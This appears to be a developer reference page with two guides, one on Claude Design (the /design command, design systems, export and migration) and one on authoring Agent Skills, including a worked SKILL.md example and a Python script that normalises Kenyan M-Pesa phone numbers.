██║  ██║█████╗  ███████╗██║██║  ███╗██╔██╗ ██║
██║  ██║██╔══╝  ╚════██║██║██║   ██║██║╚██╗██║
██████╔╝███████╗███████║██║╚██████╔╝██║ ╚████║
╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═╝  ╚═══╝

Claude Design Integration Guide

Focus: Getting a multi-artboard visual design out of Claude — UI mockups, screen flows, prototypes, landing pages, posters and one-pagers — from any Claude chat or from /design in Claude Code, grounding it in a design system, then exporting it or handing it to code.

Overview

Claude Design pairs a conversation with a canvas of artboards. You describe what you want, Claude builds a working design beside the chat, and you refine it through chat, inline comments, and direct edits on the canvas. It launched on 17 April 2026 as an Anthropic Labs research preview (on Claude Opus 4.7) at claude.ai/design.

What changed since then (the headline for this refresh):

Then (Aug 2026 guide) Now (20 Oct 2026)
Standalone app at claude.ai/design Since 16 Sep 2026 Claude Design is the Design template for artifacts. Ask for a design in any chat, pick Output > Design in the message box, or start from the Artifacts tab
Pro, Max, Team, Enterprise Free, Pro, Max, Team, Enterprise. On by default. Enterprise: on by default from 15 Oct 2026 (owners could enable earlier)
Separate weekly Claude Design allowance Draws from the same usage limits as the rest of Claude, including Claude Code. Usage credits extend it
/design needs v2.1.233 /design needs Claude Code v2.1.265+ (commands reference)
Web + Desktop only Also iOS and Android: ask for a design, view it full screen in the Artifacts tab, edit it. Sharing settings are web/desktop only
Decks lived inside Claude Design Presentations moved to Claude Slides (/slides); animations are Claude Motion (Team/Enterprise beta, MP4 export)
Pro/Max: public link was the only way to share Pro/Max can choose Only you, Anyone with the link, or invite by email (beta)
— Standalone claude.ai/design closes 14 Dec 2026

Designs are still generated as code, not pixels: each artboard is rendered HTML. That is why export to HTML/PPTX/PDF and the Claude Code handoff work. It is also why there is no generation API, no npm package, and no REST endpoint for Claude Design. You reach it through Claude's product surfaces.

The surfaces today

Surface How you start a design Notes
Claude chat (web, Desktop) "Mock up the onboarding flow we just discussed", or Output > Design Opens beside the conversation as an artifact
Artifacts tab Pick a Design template Lists everything you made, plus up to 60 standalone projects
Claude Code (CLI + Desktop) /design <brief> or ask in plain language Publishes a Claude Design artifact. Edit in a desktop browser; edits save automatically; export each artboard as PNG or PDF
Claude for iOS / Android Ask in any chat View and edit; change sharing on web or desktop
claude.ai/design (standalone) Existing projects only Closes 14 Dec 2026, then redirects to Claude
flowchart LR
  A["Brief<br/>'four takes on the rider check-in screen'"] --> B{"Where?"}
  B -->|"any Claude chat / Artifacts tab"| C["Design artifact<br/>canvas + artboards<br/>+ design system"]
  B -->|"/design in Claude Code"| C
  C --> E["Refine: chat (structure)<br/>· inline comments (targeted)<br/>· direct canvas edits (polish)"]
  E --> F{"Ship it how?"}
  F -->|"stakeholders"| G["Export: PDF · PPTX · ZIP<br/>· standalone HTML · Google Slides"]
  F -->|"other tools"| P["Send to: Canva · Vercel · Netlify<br/>· Lovable · v0 · Miro · …"]
  F -->|"engineering"| H["Handoff to Claude Code<br/>local agent or Claude Code Web"]
  F -->|"production design"| I["Figma<br/>(codeAmani's system of record)"]

Official Documentation

Resource URL
Get started with Claude Design https://support.claude.com/en/articles/14604416-get-started-with-claude-design
Set up your design system https://support.claude.com/en/articles/14604397-set-up-your-design-system-in-claude-design
Migrate from standalone Claude Design to Claude https://support.claude.com/en/articles/17440474-migrate-from-standalone-claude-design-to-claude
Claude Design admin guide (Team / Enterprise) https://support.claude.com/en/articles/14604406-claude-design-admin-guide-for-team-and-enterprise-plans
Artifacts admin guide (templates, sharing, roles) https://support.claude.com/en/articles/16994751-artifacts-admin-guide-for-team-and-enterprise-plans
What are artifacts and how do I use them? https://support.claude.com/en/articles/17153992-what-are-artifacts-and-how-do-i-use-them
Share artifacts https://support.claude.com/en/articles/9547008-share-artifacts
Artifacts in Claude Code (/design, /slides, page constraints) https://code.claude.com/docs/en/artifacts
Commands reference (/design, /design-sync, /design-login, /slides) https://code.claude.com/docs/en/commands
Enterprise Analytics API (claude_design metrics) https://platform.claude.com/docs/en/api/beta/organization/analytics
Launch post (Anthropic Labs, 17 Apr 2026) https://www.anthropic.com/news/claude-design-anthropic-labs

Setup

In Claude (web, Desktop, mobile)

Nothing to install. Artifacts need Cloud code execution and file creation on (Settings > Capabilities on Free/Pro/Max; Organization settings > Capabilities on Team/Enterprise). Then ask for a design in any chat.

In Claude Code

/design needs Claude Code v2.1.265 or later, a session signed in with a claude.ai account (/login), and an account where the Design template is on. Latest release on npm at review time: 2.1.304 (19 Oct 2026).

npm install -g @anthropic-ai/claude-code@2.1.304
claude --version
claude
> /login
> /design four options for the boda rider check-in screen

Claude drafts artboards on one canvas, publishes it as a Claude Design artifact, and prints the link. Open it in a desktop browser, edit an element (edits save automatically), then tell Claude which artboard to implement.

Settings that affect /design

/design publishes through the Artifact tool, so every artifact switch applies. None of these are secrets.

Setting Where Effect
CLAUDE_CODE_DISABLE_ARTIFACT = 1 env Turns the Artifact tool off. No settings file can turn it back on
"enableArtifact": false settings file, or /config > Artifacts Turns artifacts off. Replaces the deprecated "disableArtifact": true. Project-level honoring needs v2.1.242+
CLAUDE_CODE_ARTIFACT_AUTO_OPEN = 0 env Don't open the browser on first publish
CLAUDE_CODE_ARTIFACT_COMMENTS = 0 env Stop Claude reading/replying to artifact comments (v2.1.221+)
CLAUDE_CODE_ARTIFACT_COMMENTS_AUTOREACT = 0 env Stop Claude auto-replying to comments sent to it (v2.1.228+)
CLAUDE_CODE_ARTIFACT_PUBLISH_EDITS = 0 env Edit the file, then publish as a separate step (v2.1.300+)
Artifact in permissions.deny settings file Blocks the tool by permission rule
{
  "enableArtifact": false
}

Key patterns

1. Ask for options, not a design

The canvas exists for comparison. Name a count and an axis of variation.

/design four takes on the boda rider check-in screen. Vary how much the map
dominates and whether the fare quote is a card or an inline row. One line under
each on the trade-off.

The help center's prompt formula is goal + layout + content + audience, and "show me 2–3 alternative layouts" is an explicitly recommended move.

2. Ground it in a design system before it invents one

Three ways, from lightest to heaviest:

Method Best for How
Tokens in CLAUDE.md Claude Code artifacts and /design from one repo Claude's built-in design skill looks for your design system first. Precedence: prompt > your design system > Claude's defaults
Design system from a chat Brand systems (fonts, colors, guidelines) Ask Claude to build one from uploaded files, Figma files, decks, logos, fonts, or connected apps
/design-sync in Claude Code Product systems that already exist as React components Reads tokens and components directly and uploads them. Authorize first with /design-login
## Design system

- Colors: primary #00d4ff, secondary #3ecf8e, tertiary #8b5cf6, surface #080b0f
- Typography: Outfit for display and body, JetBrains Mono for code and labels
- Spacing: 8px scale, 14px panel radius
- Panels: rgba(20,26,36,0.55) fill, 1px rgba(255,255,255,0.06) border, blur(14px)

That block is codeAmani's MotionStack Dark system. Both faces are on Google Fonts, which artifact pages can load. Any other face gets inlined as a @font-face data URI with a fallback stack.

Design systems are beta on Pro, Max, Team, and Enterprise (on by default except Enterprise, where an owner turns on Design systems in Organization settings > Artifacts). Manage them at Settings > Design systems. Claude checks its own output against the system and corrects it before you see it.

/design-sync caveats from the commands reference: a first sync verifies every component and can take a few hours on a large repo. It needs claude.ai, so it is unavailable on Amazon Bedrock, Google Cloud's Agent Platform, Microsoft Foundry, Claude Platform on AWS, or through a Claude apps gateway. Since v2.1.302 both commands warn that standalone Claude Design closes by 14 Dec 2026.

3. Refine with the right channel

Channel Use it for
Chat Structure: new sections, layout changes, "darker and more minimal", alternatives
Inline comments Targeted, component-level fixes: "make this button padding larger"
Direct canvas edits Visual polish: drag, resize, align, edit text in place

Known issue from the help center: inline comments can occasionally disappear before Claude reads them. If a comment is ignored, paste it into chat. The editor is keyboard-accessible (F6 cycles top bar / canvas / properties panel; Cmd/Ctrl+\ opens properties; Cmd/Ctrl+D duplicates; Shift+G toggles layout guides). Placing a new layer still needs a mouse, or ask Claude.

To branch: "Save what we have and try a completely different approach." There is no version history yet in the Design editor.

4. Export and handoff

From Export (upper right) on a design:

Path Use it for
Download as .zip Archiving the whole project
Export as PDF Stakeholder review, print, WhatsApp to a shop owner
Export as PPTX / Google Slides Decks someone else will keep editing
Export as standalone HTML Self-hosting an interactive prototype
Send to a partner tool Adobe Experience Manager, Adobe for Creativity, Adobe Journey Optimizer, Base44, Canva, Gamma, HubSpot, Hyperframes, Lovable, Miro, Netlify, Replit, v0, Vercel, Wix
Handoff to Claude Code Send to local coding agent or Send to Claude Code Web; Claude Code continues from the work instead of a screenshot

From Claude Code, /design can also go the other way: import a design into your codebase, export your code as a live prototype, or build end to end. A /design canvas exports each artboard as PNG or PDF.

5. Updating a design later

A design is an artifact. From a new Claude Code session, give Claude the URL or attach it with /artifacts. Otherwise you get a second canvas.

Update https://claude.ai/code/artifact/5fbea6f3-... — swap artboard 2's fare card
for the inline row from artboard 4 and republish.

/artifacts lists what you own and what's shared with you (Enter attaches or opens, o opens, c copies). Ctrl+] reopens the session's latest artifact.

6. Migrate off claude.ai/design before 14 Dec 2026

  1. Open the Artifacts page in Claude and click Migrate team design systems in the "Claude Design lives here now" banner (or the Claude Design menu, top right).
  2. One run migrates every design system in the org. Anyone with Claude Design access can start it. Owners are kept; a departed owner's systems go to the Primary Owner.
  3. Empty systems and ones made from a built-in starter theme are skipped. Published, non-private systems become shared with everyone in the org.
  4. Fix "Couldn't be migrated" items via Fix in Claude Design Standalone > Check (too large, bad names, unreadable files). The uploads folder is the usual bloat.
  5. Projects stay in the standalone app until it closes; there is no bulk export. Download each via Share > Project HTML > Project archive (free, no usage cost).
  6. Chats and comments are not migrated and are deleted after closure. Public links to standalone projects stop working.

ZDR organizations can't turn on artifacts, so they can't migrate: download projects instead.


Programmatic surfaces (API and MCP)

There is no API to generate or edit designs. What exists:

Surface What it does Who
Analytics API GET /v1/organizations/analytics/summaries Daily claude_design_daily/weekly/monthly_active_user_count Enterprise; API key with read:analytics scope
Analytics API GET /v1/organizations/analytics/users Per-user design_metrics: distinct_projects_created_count, distinct_projects_used_count, distinct_session_count, message_count Same
Analytics API usage/cost reports product filter / group_by value claude_design Same
Compliance API /v1/compliance/code/artifacts List, read a version, delete artifacts Enterprise compliance
Claude Docs connector The Docs template reaches Claude Code as the claude.ai Claude Docs MCP connector Docs only, not Design

The artifacts admin guide says Claude Design analytics cover standalone claude.ai/design only, not designs made in chats or the Artifacts tab. The API reference doesn't say either way, so assume the same until Anthropic says otherwise. See examples/design-analytics.mts for a typed client.

curl "https://api.anthropic.com/v1/organizations/analytics/summaries?starting_date=2026-10-01" \
  -H 'anthropic-version: 2023-06-01' \
  -H "X-Api-Key: $ANTHROPIC_ANALYTICS_KEY"
# Secret: an Anthropic API key with the read:analytics scope (Enterprise org)
ANTHROPIC_ANALYTICS_KEY=sk-ant-...

Partner-side import tools. The Vercel and Netlify claude.ai connectors expose an import-claude-design-from-url tool, and Canva's exposes import-claude-motion-from-url. They look like the receiving end of Send to. They were observed in those connectors' tool lists on 2026-10-20 and are not documented by Anthropic. See NOTES.md.


Where it fits next to Figma and Canva

Need Reach for
First draft, exploration, "show me four ways this could go" Claude Design
Production design system, components, variants, real handoff Figma (figma/CLAUDE_CODE_INTEGRATION.md)
Mass-producing on-brand graphics from data Canva Connect API (canva/CLAUDE_CODE_INTEGRATION.md)
Reading an existing design into code Figma MCP get_design_context
A one-pager or poster nobody will maintain Claude Design, export PDF, done
A deck Claude Slides (/slides), not Design
A 30-second animated explainer Claude Motion (Team/Enterprise beta, MP4)

Claude Design solves the blank-canvas problem and the "I need something to react to by Thursday" problem. It has no version history and multi-person editing is still basic, so it does not replace a maintained component library. Draft here, decide, then rebuild the survivor in Figma or in code.


Constraints worth knowing before you promise something

Plan and admin (help center):

Item Fact
Plans Design template: Free, Pro, Max, Team, Enterprise. Design systems: Pro and up (beta). Motion: Team/Enterprise (beta)
Enterprise defaults Design, Slides, Docs on by default from 15 Oct 2026. Design systems off by default. Motion off
Admin settings Organization settings > Artifacts (Artifacts, Templates, External sharing, Email invitations, Artifact presence). Standalone app: Organization settings > Claude Design
Custom roles (Enterprise) Separate capabilities for Artifacts, Design, Design systems, Slides, Docs, Dashboards, Motion, and Claude Design [standalone]
Design-system admin In artifacts, only an Owner/Primary Owner can share a system with everyone, set the default, or delete an org-wide one. The Claude Design Admin permission applies to the standalone app only
Audit logs Artifacts: claude_artifact_* events. Standalone Claude Design: none
Data residency Not supported
HIPAA-ready orgs An Owner can turn on Design after accepting terms, but it is not covered by the BAA. Keep PHI out
ZDR orgs Cannot turn on artifacts
Third-party clouds Artifacts are not available through Bedrock, Google Cloud, or Foundry

Claude Code artifact page constraints (apply to /design canvases):

Constraint Effect
External requests Google Fonts, plus scripts from five CDN hosts (cdnjs, unpkg, Tailwind CDN, jQuery CDN, jsDelivr /npm/). Everything else is inlined; images become data URIs
No backend Static page; can't authenticate viewers itself
Single page Relative links don't resolve
File types .html, .htm, or .md, UTF-8
Rendered size 16 MiB max. Large embedded rasters are the usual failure
Auth claude.ai /login. API-key, gateway-token, and cloud-credential sessions can't publish
Surface CLI, or Claude desktop 1.13576.0+. Off by default with -p, the Agent SDK, the GitHub Action, and when CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC is set
Network Viewer loads from sandboxed *.claudeusercontent.com; allowlist it with claude.ai

codeAmani notes


Troubleshooting

Issue Fix
/design isn't there or doesn't draft Needs Claude Code v2.1.265+, an artifacts-capable session, and the Design template on for your account. If your org turned Design off, /design doesn't draft
Claude writes a local HTML file and no link Artifacts unavailable: check plan, /login, model provider, org policy, and that enableArtifact isn't false
"Cannot publish" on Bedrock / Vertex / Foundry Artifacts, /design, and /design-sync are Anthropic-API only
A new session made a second canvas Pass the artifact URL, or attach it first with /artifacts
Publish fails for size Rendered page must be ≤ 16 MiB; swap embedded rasters for SVG
Inline comment ignored Known intermittent issue; paste the feedback into chat
"Chat upstream error" Start a new chat tab in the same project
Enterprise users can't see Design Owner turns on the Design template (and Design systems) in Organization settings > Artifacts. Custom roles need the matching capability
Migration button grayed out Design systems is off for the org. Owner turns it on
Design system "couldn't be migrated" Fix in Claude Design Standalone > Check; trim uploads; migrate again
/design-sync seems stuck First sync verifies every component; hours on a large repo is expected
Can't change sharing on the phone Sharing settings are web/desktop only

Official docs:

Claude Skills Integration Guide

Technology: claude-skills · Category: ai · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/claude-skills

Insight:

An Agent Skill is a SKILL.md folder an agent loads on demand: a ~100-token description advertises it, and the body plus bundled scripts load only when a request matches. It is a file format, not a library, and an open standard (agentskills.io) that 40+ agents now read, including Cursor, Codex, Gemini CLI and GitHub Copilot, mostly from .agents/skills/. Claude reads it in Claude Code, the Agent SDK, claude.ai, the GA Skills API (client.skills.*, no beta header) and Managed Agents. Since August, Claude Code added claude plugin eval (with/without-plugin scoring for CI), /skill-doctor, skillOverrides, and auto-sync of claude.ai skills. For codeAmani, skills bank fiddly house conventions once (Stripe-first checkout, and for Kenya projects M-Pesa phone and integer-KES rules); the cost is that a skill runs code with your permissions, so audit every third-party one.

 ██████╗██╗      █████╗ ██╗   ██╗██████╗ ███████╗    ███████╗██╗  ██╗██╗██╗     ██╗     ███████╗
██╔════╝██║     ██╔══██╗██║   ██║██╔══██╗██╔════╝    ██╔════╝██║ ██╔╝██║██║     ██║     ██╔════╝
██║     ██║     ███████║██║   ██║██║  ██║█████╗      ███████╗█████╔╝ ██║██║     ██║     ███████╗
██║     ██║     ██╔══██║██║   ██║██║  ██║██╔══╝      ╚════██║██╔═██╗ ██║██║     ██║     ╚════██║
╚██████╗███████╗██║  ██║╚██████╔╝██████╔╝███████╗    ███████║██║  ██╗██║███████╗███████╗███████║
 ╚═════╝╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝    ╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚══════╝

Claude Skills Integration Guide

Focus: how to author, ship, and test an Agent Skill, a SKILL.md folder Claude loads on demand. The whole system is one idea: a small always-loaded description advertises the skill, and the full instructions (plus scripts and reference files) load only when a request matches. This is the open Agent Skills format. You are packaging reusable expertise here, not wiring tools into an agent runtime.

Overview

A Skill is a folder containing a SKILL.md file: YAML frontmatter (name + description) followed by markdown instructions. It can also bundle reference files and executable scripts. Claude discovers skills automatically and pulls each one into context only when it's relevant, so dozens of installed skills cost roughly 100 tokens each until one fires.

The mechanism is progressive disclosure, three levels of loading:

  1. Metadata (always loaded). Every skill's name and description sit in the system prompt. That is all Claude knows by default: the skill exists, and when to use it.
  2. Instructions (loaded when triggered). When a request matches a description, Claude reads the SKILL.md body. Keep it under 500 lines (about 5k tokens).
  3. Resources (loaded as needed). Bundled reference files are read only when the body points to them. Bundled scripts are executed, never read, so only their output costs tokens. Content on disk that is never opened costs nothing.

The highest-leverage thing you write is the description. Claude picks among potentially 100+ skills using only that text, so it must say what the skill does and when to reach for it, in the third person, with the words a user would actually type.

What's new since the last review (2026-08-23)

Area Was Now
Skills API GA, beta header dropped Still GA. SDKs expose it as client.skills.*. Response shapes changed vs the beta (display_name, latest_version_id, source is an object, delete removes all versions). client.beta.skills stops sending skills-2025-10-02 from TS SDK 0.122.0
Command name Slash command always came from the directory Frontmatter name now sets the command (name: deploy makes /deploy); the directory name still invokes it too
claude.ai skills in Claude Code Opt-in pull with CLAUDE_CODE_SYNC_SKILLS=1 Auto-synced into ~/.claude/skills/synced/ for claude.ai sign-ins (v2.1.273+). The anthropic-skills name is reserved for them
Agent SDK allowed-tools Frontmatter ignored for project/personal skills Honoured, alongside the SDK's allowedTools option
Testing Manual, or the skill-creator plugin claude plugin eval runs each case with and without the plugin, scores it, and exits non-zero for CI
Context budget Not documented Listing budget = 1% of the context window (skillListingBudgetFraction); /skill-doctor shows cost vs use; skillOverrides hides skills
New fields n/a background (with context: fork); booleans accept yes/no/on/off/1/0
Managed Agents Not covered Agents take a skills array (up to 500 per session) and auto-discover .claude/skills in mounted GitHub repos
Cross-agent "open standard" 46 clients listed on agentskills.io. .agents/skills/ is the shared path for Codex, Cursor, Gemini CLI and Copilot. Claude Code still reads only .claude/skills/

Official Documentation

Source URL What it covers
Agent Skills overview https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview Format, the 3 loading levels, where skills run, runtime constraints per surface
Authoring best practices https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices Descriptions, naming (gerund form), degrees of freedom, feedback loops, anti-patterns
Skills for enterprise https://platform.claude.com/docs/en/agents-and-tools/agent-skills/enterprise Vetting, risk tiers, content scanning, recall limits, version pinning
Skills API guide https://platform.claude.com/docs/en/build-with-claude/skills-guide /v1/skills, container.skills, versioning, limits, migrating off skills-2025-10-02
Managed Agents skills https://platform.claude.com/docs/en/managed-agents/skills Attaching skills to hosted agents; repo .claude/skills discovery
Skills in Claude Code https://code.claude.com/docs/en/skills Locations, full frontmatter reference, substitutions, ! injection, forks, skillOverrides, troubleshooting
Skills in the Agent SDK https://code.claude.com/docs/en/agent-sdk/skills settingSources, the skills option, /name dispatch, the init message
Plugin evals https://code.claude.com/docs/en/plugin-evals claude plugin eval: cases, graders, baseline, mocks, CI exit codes
Plugins / marketplaces https://code.claude.com/docs/en/plugins/overview Packaging skills with agents/hooks/MCP; marketplace.json; install scopes
Agent Skills spec https://agentskills.io/specification The cross-agent standard: six fields, directory layout, skills-ref validate
anthropics/skills https://github.com/anthropics/skills Example + document skills, the spec/, template/, and a plugin marketplace

Nothing to install to author a skill. It is a file format. The packages in this guide's frontmatter are only for the programmatic paths: @anthropic-ai/sdk / anthropic for the Skills API, and @anthropic-ai/claude-agent-sdk for loading skills from your own agent.

Versions verified 2026-10-20

Package / tool Version Source
@anthropic-ai/sdk (npm) 0.135.0 npm view @anthropic-ai/sdk version
anthropic (PyPI) 1.15.0 https://pypi.org/pypi/anthropic/json
@anthropic-ai/claude-agent-sdk (npm) 0.3.304 npm view
claude-agent-sdk (PyPI) 0.2.168 https://pypi.org/pypi/claude-agent-sdk/json
Claude Code (@anthropic-ai/claude-code) 2.1.304 npm view. claude plugin eval needs v2.1.269+
skills-ref (PyPI, spec validator) 0.1.1 https://pypi.org/pypi/skills-ref/json

Minimum SDKs with the GA client.skills shapes: Python 1.2.0, TypeScript 0.122.0, Go 1.68.0, Java 2.59.0, Ruby 1.67.0, C# 12.44.0.


Frontmatter fields

Every SKILL.md opens with YAML between --- markers on the file's first line. Six fields belong to the portable Agent Skills spec and work everywhere. The rest are Claude Code extensions. Claude Code silently ignores a field name it doesn't recognise (check hyphens), and if the YAML fails to parse, the skill still loads with no metadata, so it can't auto-trigger.

Field Where Notes
name portable Lowercase letters, digits, hyphens; max 64 chars; no leading/trailing or double hyphen. On claude.ai / the API it's required, can't contain anthropic, claude, or XML tags, and the spec says it must match the folder name. In Claude Code it's optional: it defaults to the directory name, and when set it becomes the /command (the directory name also still works).
description portable Third person, what + when. Max 1,024 chars, no XML tags. Claude Code truncates the combined description + when_to_use at 1,536 chars in its listing (skillListingMaxDescChars), so put the key use case first. If you omit it, Claude Code uses the body's first non-empty line.
allowed-tools portable (experimental in spec) Tools pre-approved for the turn that invokes the skill; clears on your next message. The spec says space-separated; Claude Code also takes commas or a YAML list. Grants, never restricts. Ignored when the org sets allowManagedPermissionRulesOnly.
license / compatibility / metadata portable SPDX-style license; compatibility ≤500 chars (e.g. Requires python3); metadata is a string→string map for your own tooling. Claude Code accepts but doesn't act on them.
when_to_use Claude Code Extra trigger phrases appended to description (shares the 1,536 cap).
disable-model-invocation Claude Code true = only a human /name runs it; its description leaves Claude's context. Use for deploy, commit, send-money.
user-invocable Claude Code false = Claude-only background knowledge, hidden from the / menu.
context: fork + agent + background Claude Code Run the skill as the prompt of a new subagent (agent: = Explore, Plan, general-purpose (default), or a custom one). It runs in the background unless background: false, and doesn't see your conversation history.
disallowed-tools Claude Code Remove tools from the pool while the skill is active (clears next message).
model / effort Claude Code Per-turn model override (inherit keeps current) and effort (low…max).
paths Claude Code Globs that gate auto-activation to matching files.
arguments / argument-hint Claude Code Named positional args for $name; autocomplete hint. $ARGUMENTS, $0, $1 work without declaring.
hooks / shell Claude Code Hooks registered once the skill fires (they last the session); shell: powershell for ! injection.

Portable six. claude.ai uploads, the Skills API, and package_skill.py from anthropics/skills accept only name, description, license, compatibility, metadata, allowed-tools. Any other key hard-fails the upload: Unexpected key(s) in SKILL.md frontmatter: argument-hint. Allowed properties are: allowed-tools, compatibility, description, license, metadata, name. Claude Code-only body features (! injection, ${CLAUDE_SKILL_DIR}) also don't run there. Validate portable skills with skills-ref validate ./my-skill.

Reserved names: a skill about Claude Skills cannot be named claude-skills (reserved word). In Claude Code, don't name a folder synced or anthropic-skills, and avoid zero-width, bidi, no-break-space and </> characters, which make Claude Code refuse the name.


Build your first skill: a worked example

We'll build a codeAmani skill for normalising Kenyan phone numbers to the 2547XXXXXXXX format Daraja requires. (M-Pesa applies only to Kenya-targeted projects; the US-default equivalent would be, for example, a Stripe price-formatting skill. The pattern is identical.) It's a good skill candidate: a fiddly, deterministic rule you'd otherwise paste into chat every time, with a clear trigger.

(a) Directory layout

.claude/skills/normalising-mpesa-phones/
├── SKILL.md                 # metadata + concise instructions
├── references/
│   └── prefixes.md          # full edge-case table (read only when needed)
└── scripts/
    └── normalise.py         # deterministic normaliser (executed, never read)

Use gerund-form names (normalising-mpesa-phones), forward slashes, and descriptive filenames. scripts/, references/, assets/ are the spec's conventional folders.

(b) SKILL.md frontmatter: the description is the trigger

---
name: normalising-mpesa-phones
description: >-
  Normalises Kenyan phone numbers to the 2547XXXXXXXX / 2541XXXXXXXX format the
  Daraja (M-Pesa) API requires. Use when formatting a phone number for an STK Push,
  a B2C payout, an SMS, or whenever a number arrives as 07.., +2547.., or 2547...
allowed-tools: Bash(python3 ${CLAUDE_SKILL_DIR}/scripts/normalise.py *)
---

A bad description, Helps with phone numbers, gives Claude nothing to match. Include the key terms (Daraja, STK Push, 07.., +254). The allowed-tools rule uses ${CLAUDE_SKILL_DIR}, which Claude Code expands in both the body and Bash rules, so it matches exactly the command the body tells Claude to run. (On non-Claude-Code surfaces, drop the variable or use a plain Bash(python3 *).)

(c) The body: concise instructions

# Normalising M-Pesa phone numbers

Daraja rejects anything that is not `254` followed by 9 digits (e.g. `254712345678`).
Normalise every number to that shape **before** calling any Daraja endpoint.

## Rules
- Strip spaces, hyphens, and a leading `+`.
- `07XXXXXXXX` or `01XXXXXXXX` → replace the leading `0` with `254`.
- `7XXXXXXXX` / `1XXXXXXXX` (9 digits) → prepend `254`.
- Already `2547…` / `2541…` (12 digits) → leave as-is.
- Anything else → reject; do not guess.

## Use the bundled script (preferred: deterministic)

    python3 ${CLAUDE_SKILL_DIR}/scripts/normalise.py "0712 345 678"
    # → 254712345678

For the full prefix table (Safaricom vs Airtel, invalid lengths), see
[references/prefixes.md](references/prefixes.md).

prefixes.md is read only if Claude needs it, and normalise.py is executed (its source never enters context). Keep references one level deep from SKILL.md; never chain a.md → b.md → c.md.

(d) The bundled script

#!/usr/bin/env python3
"""Normalise a Kenyan phone number to Daraja's 2547XXXXXXXX format."""
import re, sys

def normalise(raw: str) -> str:
    s = re.sub(r"[\s\-]", "", raw).lstrip("+")
    if re.fullmatch(r"0[17]\d{8}", s):      # 07.. / 01..
        return "254" + s[1:]
    if re.fullmatch(r"[17]\d{8}", s):       # bare 9-digit
        return "254" + s
    if re.fullmatch(r"254[17]\d{8}", s):    # already canonical
        return s
    raise SystemExit(f"Not a valid Kenyan mobile number: {raw!r}")

if __name__ == "__main__":
    print(normalise(sys.argv[1]))

A runnable sibling, examples/SKILL.md + examples/scripts/format_kes.py (integer KES for Daraja, Ksh 1,235 for display), ships in this folder.

(e) allowed-tools: pre-approve just enough

The grant lets Claude run the helper without a prompt during the invoking turn, then clears on your next message (re-applied on each invocation). It never restricts other tools; deny/ask rules still win. Grant narrowly (an exact script path, not bare Bash), use disallowed-tools to lock a skill down, and add disable-model-invocation: true to anything side-effecting. Workspace trust doesn't gate this field: a project skill's allowed-tools applies even in an untrusted -p run, so review the allowed-tools of skills committed to any repo before running Claude Code there.


Where skills live

The same SKILL.md works on every surface; only the install path and limits change. Custom skills do not sync between surfaces, with one exception: Claude Code downloads your claude.ai skills.

Surface How to install Scope / notes
Claude Code: enterprise .claude/skills/<name>/ in the managed-settings directory Every user on the machine; wins over personal and project
Claude Code: personal ~/.claude/skills/<name>/SKILL.md All your local projects (not Cowork or cloud sessions)
Claude Code: project .claude/skills/<name>/SKILL.md, committed This repo; found in cwd and every parent up to the repo root (worktree root in a worktree)
Claude Code: nested <subdir>/.claude/skills/<name>/ Loads when Claude first touches files there; clashes become /apps/web:deploy
Claude Code: --add-dir .claude/skills/ inside an added directory That session (permissions.additionalDirectories does not load skills)
Claude Code: plugin <plugin>/skills/<name>/SKILL.md Wherever the plugin is enabled, as /plugin:name
Claude Code: claude.ai sync Enable the skill on claude.ai Auto-downloaded to ~/.claude/skills/synced/ when signed in with claude.ai (not API-key auth, Bedrock, bare mode). ! commands don't run for synced skills locally
Claude Agent SDK Same filesystem folders, gated by settingSources + skills, or the plugins option Whatever the session's setting sources load
Claude API Upload via /v1/skills, then reference in container.skills with the code-execution tool Workspace-wide: any key in the workspace can read, invoke, delete. No network, no package installs at runtime
Managed Agents (beta) skills array on the agent, or .claude/skills/ at the root of a mounted GitHub repo Up to 500 skills per session; beta header managed-agents-2026-04-01
claude.ai / Cowork Upload a .zip (Settings / Customize); code execution must be on Per-user (Pro, Max, Team, Enterprise); Enterprise can turn on skill content scanning

Name clashes in Claude Code: enterprise > personal > project; your skill replaces a bundled skill or built-in command of the same name (not its aliases); a skill beats a .claude/commands/ file; plugin skills never clash because they're namespaced. Claude Code watches skill folders, so edits apply mid-session; run /reload-skills for a newly created top-level skills directory. Adding .claude-plugin/plugin.json to a skill folder turns it into a plugin (<name>@skills-dir) and, in a project, requires accepting the workspace-trust dialog.


How progressive disclosure loads a skill

flowchart TD
  M["Level 1 · Metadata<br/>name + description<br/>(always in context, ~100 tok)"] --> B["Level 2 · SKILL.md body<br/>loaded when triggered<br/>(under ~5k tok / 500 lines)"]
  B --> R["Level 3 · references/*.md<br/>read only if the body points to them"]
  B --> S["Level 3 · scripts/*.py<br/>EXECUTED · source never loaded<br/>(only stdout costs tokens)"]

Lifecycle in Claude Code. Once invoked, the rendered body enters the conversation as one message and stays for the session; it isn't re-read each turn (re-invoking with identical content adds only a short "already loaded" note). Write it as standing guidance. After auto-compaction, Claude Code re-attaches the most recent invocation of each skill, keeping the first 5,000 tokens of each within a 25,000-token shared budget, newest first. Put the critical rules at the top, and move must-always-hold rules into a hooks: entry. The allowed-tools grant is the exception: it resets every message.

The listing has a budget. Every model-invocable skill's name and description is in context on every turn. The listing budget is 1% of the model's context window. On overflow, Claude Code drops descriptions of your least-used skills first, which removes their trigger words. Run /skill-doctor (v2.1.252+) to see cost vs use, set low-value skills to "name-only" or "off" in skillOverrides, or raise skillListingBudgetFraction.

How Claude decides to load a skill

flowchart TD
  U["User request arrives"] --> P{"Message starts<br/>with /name?"}
  P -->|"yes"| RUN["Run skill directly"]
  P -->|"no"| C{"Any listed description<br/>match? (paths gate too)"}
  C -->|"no"| N["Answer normally"]
  C -->|"yes"| I{"disable-model-invocation<br/>or Skill(...) denied?"}
  I -->|"yes"| H["Blocked · suggest /name"]
  I -->|"no"| L["Load SKILL.md body<br/>(run ! commands first)"]
  L --> D{"Body points to<br/>a file or script?"}
  D -->|"reference"| RF["Read just that file"]
  D -->|"script"| EX["Execute · capture output"]
  D -->|"no"| W["Do the work"]

If a skill never triggers, the fix is almost always the description. Also check that /skill-name works (if not, the name was refused) and run claude plugin validate .claude/skills (v2.1.233+) to find frontmatter that doesn't parse. If it triggers too eagerly, narrow the description, add paths, or set disable-model-invocation: true.


Claude Code controls worth knowing

